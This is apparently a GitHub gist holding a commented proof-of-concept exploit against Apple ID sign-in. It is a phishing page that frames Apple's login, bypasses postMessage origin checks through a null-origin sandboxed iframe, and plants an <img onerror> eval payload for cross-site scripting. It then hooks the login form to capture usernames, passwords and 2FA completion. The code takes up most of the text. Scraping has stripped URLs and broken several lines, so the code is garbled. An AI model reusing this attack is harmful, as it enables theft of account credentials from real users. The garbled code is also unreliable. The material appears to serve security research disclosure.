Skip to content

Instantly share code, notes, and snippets.

Last active Feb 1, 2022
What would you like to do?
<title>Apple Rewards</title>
<style type="text/css">
// First, we
// clear up any gives that there's
// something going on by making
// the Apple ID frame fill
// the whole page with no border
.idmsa-frame {
width: 100vw;
height: 100vh;
border: 0;
// Next, the null origin allows us to bypass
// Apple ID's postMessage controls.
// This function takes some code, and
// runs it in the null origin.
const runAsNull = code => {
const i = document.createElement(
// We apply 'sandbox=allow-scripts'
// to the iframe. Enabling sandboxing
// makes our page have the 'null' origin
// we need to bypass Apple ID's recieve
// postMessage controls.
// Then, we create an HTML document inside our sandboxed iframe
// containing our javascript code.
// Those backtick quotes (`) are just multi-line
// quote marks by the way.
<title>null origin</title>
// Appends our iframe child, which we called 'i'
// to the page's '<body>' element, and gets a handle
// on the window the browser made inside the iframe.
return document.body
// This is the code we want to inject into
// For now, it's just a pop-up box that says the domain
// that it's running in.
// Domains and origins are the fundamental primitives of web
// security, so if we can open a popup showing '',
// we prove to ourselves that we've compromised Apple ID.
const injection = () => {
// we want to get rid of the evidence as soon as we can.
// once our popup is initialized, it passes us a message
// which we then pass onto our parent exploit window.
// it can then use location.assign() to remove us
// from the browser history.
window.addEventListener("message", ({data}) => {
if(data != "CLOSE") return;
window.parent.postMessage("CLOSE", "*");
// the 'Sign in With Apple' button, stolen right from
// the brand guidelines
const appleLoginImage = "";
// This is a legitimate apple login page.
// we pop this out and escape into it.
const legitLogin = "";
// create the 'Sign in With Apple' button.
const i = document.createElement("img");
i.src = appleLoginImage;
// when the button is clicked, we popout our
// 'legit' login page.
// A click is needed due to anti-popup browser measures.
// we could equally use another input like pressing a key,
// but this I think arouses the least suspiscion.
i.addEventListener('click', () => {
const myWnd =;
// once we've opened the legit login page, we won't
// know when it's actually ready to inject into.
// so we just keep injecting over and over again
// every tenth of a second until we get a signal
// back to say the injection succeedd.
setInterval(() => {
// injecting code across windows and origins like this
// is *really* annoying. unless you've done it before
// the full scope of annoyance will be blissfully unknown
// to you.
// Because of the way Javascript internals work, each `window`
// is its own namespace, so when we document.createElement --
// which is secretly window.document.createElement,
// we actually make an element that's specific to our
// window.
// This fuckery is beyond us at this point
// so it's easiest to just inject scripts and have
// them run natively in the attacked window.
const toInject = () => {
// A nice little touch :)
document.querySelector("#signin").innerHTML = document.querySelector("#signin").innerHTML.replace(/Apple Support/g, "your free iPhone");
document.querySelector("form[name=form1]").setAttribute("onsubmit", "");
// override the submit action for the form
// to steal the user's username and password.
document.querySelector("form[name=form1]").addEventListener('submit',() => {
} / ${
// once initialized, post to the page that created
// us that it can close now.
window.opener.postMessage("CLOSE", "*");
// get a reference to the document of the popped out
// window and inject the attack code we just defined.
const doc = myWnd.document;
const s = (doc.body || doc.documentElement).appendChild(, "script")
s.innerHTML = `(${toInject})()`;
}, 100);
// this is awful. do not do this.
// it's a really quick way to clear a page of content though :)
document.body.innerHTML = "";
// and finally, add the button which will kick it all off
// This is the page we're embedding and attacking. It needs
// a bunch of parmeters to work, but we'll probably want
// to reference those parameters a few times
// so it's easier to define the components of the URL separately.
const idmsa_base =
// Here are the parameters we're using against idmsa_base.
// defining them like this instead of one long URL
// makes it easier to programmatically alter these parameters
// if need to to work on our attack.
const idmsa_params = {
client_id: "d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d",
// Here, the redirect_uri's ? is pre-urlencoded as mentioned
// in previous chapters. This causes it to be misinterpreted
// by different parts of the system.
redirect_uri: `${encodeURIComponent("?")};`,
response_mode: "web_message",
// I thought it might be possible that this frame_id
// needed to change per-request, but it doesn't
// so we can just hard code it :)
frame_id: "9d8dafd2-0f8c-4901-ab87-7021ffa6f7ff",
locale: "en_GB"
// let's make the idmsa frame.
const idmsa_frame = document.createElement("iframe");
// to inherit our CSS class from before
idmsa_frame.setAttribute("class", "idmsa");
// this builds the idmsa url. I apologise for the way I build
// the url encoding stuff. it reads fine to me but uses
// a bunch of higher-level javascript concepts that
// might not make a whole lot of sense.
idmsa_frame.src = `${idmsa_base}?${
.map(([key, value]) =>
[key, value].map(encodeURIComponent).join("="))
// our null page needs to:
// 1. Wait for a config, and remember it
// 2. Forward all subsequent postMessages to
const nullPageCode = () => {
// async functions can wait on asynchronous events.
// since we're waiting n a bunch of asynchronous
// stuff to happen it only makes sense.
async function main() {
// tell our parent we're ready.
// the onLoad events for iframes have always
// been finickity. Waiting on a postMessage
// is much easier.
window.parent.postMessage("ready", "*");
// await lets us wait for events that might
// happen in the future before continuing.
// we don't want to do anything before we
// get the config anyway.
// Promises make fantastic adaptors for turning
// old style callbacks into async code.
const config = await new Promise((ok, fail) => {
console.log("waiting for config");
// postMessage's event is just called 'message'
// i dont really know why.
window.addEventListener('message', ({data}) => {
console.log("got config message");
// honestly receiving the wrong postMessage
// can happen pretty easily so it's worth
// guarding for to save some painful debug
// time.
if (data.type != config)
reutrn fail(`did not get config, instead got ${JSON.stringify(data)})`);
// this completes the promise.
return ok(data);
// eventListeners default to firing on all
// events but everything would probably break
// if we did that with this function.
}, { once: true });
// extract the idmsaFrameId (of
// for later use.
const {idmsaFrameId} = config;
// now the easy part. we just forward everything
// to the idmsa page.
window.addEventListener("message", ({data}) => {
console.log("forwarding to idmsa", data);
// ordinarily "*" would be a bad idea, but because
// *we* are the bad guys we don't need to give a
// shit about secure coding practices.[idmsaFrameId].postMessage(data, "*");
// this is just how you execute an async function
// without making javascript annoyed at you.
main().catch(e => console.error(e));
// next we'll build our config.
// we're going to go for an <img src=a onerror> XSS,
// the reason being that due to a totally ineffectual
// and super old attempt at global XSS mitigation,
// we can't inject <script> tags and have them
// run after the page's first load, which will
// have fired by this time. This is a bypass.
// We also btoa (base64 encode) our injection code
// for transit across the postMessage boundary.
// this is mainly because managing quotation marks
// in our HTML injection gets really confusing otherwise,
// since we're already using ' and " in our <img> code --
// if these were present in our injection code string, the
// code would break.
const injectionHTML = `<img src=a onerror='eval(atob("${
}"))' />`;
// stolen directly from the known good conversation we eavesdropped on.
// "src" is not actually "[img src]" but a good 8000 characters of
// base64 encoded image data
// which I omit so as to not make this unreadable.
const config_resp = { "jsonrpc": "2.0", "id": "69B33E61-79C4-4A52-9522-63F273B7C349", "result": { "data": { "features": { "rememberMe": true, "createLink": false, "iForgotLink": true, "pause2FA": false }, "signInLabel": "Sign in to get your free Apple giftcard!", "serviceKey": "d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d", "defaultAccountNameAutoFillDomain": "", "trustTokens": [], "rememberMeLabel": "keep-me-signed-in", "privacy": injectionHTML, "theme": "dark", "waitAnimationOnAuthComplete": false, "logo": { "src": "[img src]", "width": "100px;color:red" } } } };
// add the null page iframe too our page.
const nullPage = runFunctionInNullOrigin(nullPageCode);
// determine which frame is the idmsa frame.
let idmsaFrameId;
// there's probably a more elegant way to find what
// index the idmsa frame is on, but
// these APIs are so ancient I don't really want to fuck
// with them and spend ages working out why they won't work.
for (let i = 0; i <; i++) {
if ([i] != idmsa.contentWindow) continue;
ifmsaFrameId = i;
// prepare the config to send to the null page
const config = {
type: "config"
window.addEventListener("message", e => {
console.log("RCV", e);
// we need to wait for the null page to postMessage
// us to tell us it exists. This way of doing it
// is ... not entirely kosher but it works for our
// purposes.
if ( == "ready") return nullPage.postMessage(config, "*");
// the postmessage JSONRPC protocol that apple id uses
// prefixes everything with this string. We need to trim
// it off, but also do this ourselves in our communications.
const prefix = "pmrpc.";
if (!
throw new Error(`got weird message ${JSON.strigify(data)}`);
// I'm sure there's a real trimPrefix function somewhere
// but i'm not in the business of following the rules
// right now.
const json =;
const rq = JSON.parse(json);
// extracting the stuff from the request that will be reused
// for our response.
const { method, jsonrpc, params , id } = rq;
// share the good news when we steal your apple login
if (method == "passwordAuthDone") alert(`got creds! ${
// same if we also get a 2FA'd set of creds
if (method == "complete") alert(`got creds! ${
// config requests are the complicated ones.
// we merge our template with the jsonrpc version
// and the request id for our response.
if (method == "config") return nullPage.postMessage(
...config_resp, jsonrpc, id
})}`, "*";
// for all other requests, we just let the page know
// that everything is OK ;)
jsonrpc, id, result: true
})}`, "*");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment